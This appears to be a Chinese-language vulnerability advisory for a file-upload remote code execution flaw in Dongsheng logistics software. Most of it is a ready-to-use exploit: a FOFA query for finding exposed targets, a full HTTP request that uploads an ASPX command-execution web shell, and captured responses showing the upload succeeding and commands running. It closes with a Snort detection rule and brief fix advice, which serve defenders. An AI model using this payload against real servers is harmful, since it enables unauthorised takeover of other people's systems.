

东胜物流软件 UploadMailFile 文件上传致RCE漏洞

东胜物流软件 UploadMailFile 文件上传致RCE漏洞，攻击者可通过上传恶意文件导致服务器被控制。

影响版本

东胜物流软件

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：app="东胜物流软件-物流软件"

POC/EXP：

```
POST /CommMng/Print/UploadMailFile HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
Accept: */*
Connection: close

-----WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; name="LoadFile"; filename="rce.aspx"
Content-Type: application/octet-stream

<%@ Page Language="Jscript" validateRequest="false" %>
<%
var c=new System.Diagnostics.ProcessStartInfo("cmd");
var e=new System.Diagnostics.Process();
```

```

var out:System.IO.StreamReader,EI:System.IO.StreamReader;
c.UseShellExecute=false;
c.RedirectStandardOutput=true;
c.RedirectStandardError=true;
e.StartInfo=c;
c.Arguments="/c " + Request.Item["cmd"];
e.Start();
out=e.StandardOutput;
EI=e.StandardError;
e.Close();
Response.Write(out.ReadToEnd() + EI.ReadToEnd());
System.IO.File.Delete(Request.PhysicalPath);
Response.End();%>
-----WebKitFormBoundaryFfJZ4P1AZBixjELj--

```

The image shows a Wireshark packet capture of an HTTP POST request and its response. The request is a multipart/form-data submission to the URL `http://1.1.1.1/CommMng/Print/UploadMailFile`. The response is a 200 OK status with a JSON body indicating success.

Request	Response
<pre> 1 POST /CommMng/Print/UploadMailFile HTTP/1.1 2 Host: 1.1.1.1 3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 4 Accept-Encoding: gzip, deflate 5 Content-Type: multipart/form-data; boundary=-----WebKitFormBoundaryFfJZ4P1AZBixjELj 6 Accept: */* 7 Connection: close 8 9 -----WebKitFormBoundaryFfJZ4P1AZBixjELj 10 Content-Disposition: form-data; name="LoadFile"; filename="rce.aspx" 11 Content-Type: application/octet-stream 12 13 <%% Page.Language="JavaScript"-validateRequest="false"%> 14 <% 15 var c=new System.Diagnostics.ProcessStartInfo("cmd"); 16 var e=new System.Diagnostics.Process(); 17 var out=System.IO.StreamReader,EI=System.IO.StreamReader; 18 c.UseShellExecute=false; 19 c.RedirectStandardOutput=true; 20 c.RedirectStandardError=true; 21 e.StartInfo=c; 22 c.Arguments="/c "+Request.Item["cmd"]; 23 e.Start(); 24 out=e.StandardOutput; 25 EI=e.StandardError; 26 e.Close(); 27 Response.Write(out.ReadToEnd()+EI.ReadToEnd()); 28 System.IO.File.Delete(Request.PhysicalPath); 29 Response.End();%> 30 -----WebKitFormBoundaryFfJZ4P1AZBixjELj-- </pre>	<pre> 1 HTTP/1.1 200 OK 2 Cache-Control: private 3 Content-Type: text/html; charset=utf-8 4 Server: Microsoft-IIS/10.0 5 Set-Cookie: ASP.NET_SessionId=u2q0fu3m0buxmyf1c411f2k; path=/; HttpOnly; SameSite=Lax 6 X-AspNetMvc-Version: 2.0 7 X-AspNet-Version: 4.0.30319 8 X-Powered-By: ASP.NET 9 Date: Fri, 04 Jul 2025 07:59:29 GMT 10 Connection: close 11 Content-Length: 120 12 13 { 14 "success": true, 15 "Message": "上传成功", 16 "data": ".../UploadFiles/MailFile/20250704155930212rce.aspx" 17 } </pre>

The image shows a Wireshark packet capture of an HTTP GET request and its response. The request is for the file `20250704155930212rce.aspx?cmd=dir` on the same host. The response is a 200 OK status with a directory listing of the current directory.

Request	Response
<pre> 1 GET /UploadFiles/MailFile/20250704155930212rce.aspx?cmd=dir HTTP/1.1 2 Host: 1.1.1.1 </pre>	<pre> 1 HTTP/1.1 200 OK 2 Cache-Control: private 3 Content-Type: text/html; charset=utf-8 4 Server: Microsoft-IIS/10.0 5 Set-Cookie: ASP.NET_SessionId=icqksyzqlvgkpb2g5ogc2dv4; path=/; HttpOnly 6 X-AspNet-Version: 4.0.30319 7 X-Powered-By: ASP.NET 8 Date: Fri, 04 Jul 2025 07:59:58 GMT 9 Content-Length: 4407 10 11 驱动器 C: 中的卷没有标签。 12 卷的序列号是 E6FD-B907 13 14 C:\Windows\SysWOW64\inetrv 的目录 15 16 2024/09/24 -08:14 -> <DIR> 17 2025/01/26 -09:04 -> <DIR> 18 2024/07/05 -15:10 ->110,592 appcmd.exe 19 2021/05/08 -16:16 ->3,940 appcmd.xml 20 2024/07/05 -15:10 ->61,440 apphostsvr.d11 21 2024/07/05 -15:10 ->367,616 appobj.d11 22 2024/07/05 -15:13 ->404,992 asp.d11 23 2024/07/05 -15:13 ->22,196 asp.mof 24 2024/07/05 -15:10 ->117,760 aspNetca.exe 25 2024/07/05 -15:13 ->23,040 asptlb.tlb 26 2024/07/05 -15:10 ->32,256 authanon.d11 27 2024/07/05 -15:10 ->33,792 authbas.d11 28 2024/07/05 -15:10 ->24,064 authcert.d11 29 2024/07/05 -15:10 ->40,448 authmap.d11 30 2024/07/05 -15:10 ->35,840 authmd5.d11 31 2024/07/05 -15:10 ->47,616 authsspi.d11 </pre>

snort规则:

```

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"Dongsheng Logistics - ASPX Upload RCE (CVE-2025-XXXXX)";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/CommMng/Print/UploadMailFile"; http_uri;
  content:"multipart/form-data"; http_header;
  content:"filename="; http_client_body;
  pcre:"/filename=['\""][^'\"]*\\. (aspx|ashx)['\""]/i";
  content:"<%% Page"; http_client_body;
  content:"System.Diagnostics.Process"; http_client_body;
  metadata:service http;

```

```
metadata:affected_product "东胜物流软件";
metadata:vulnerability_type "Unrestricted File Upload -> RCE";
reference:cve,CVE-2025-XXXXX;
classtype:web-application-attack;
sid:1000242;
rev:1;
priority:1;
```

)

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。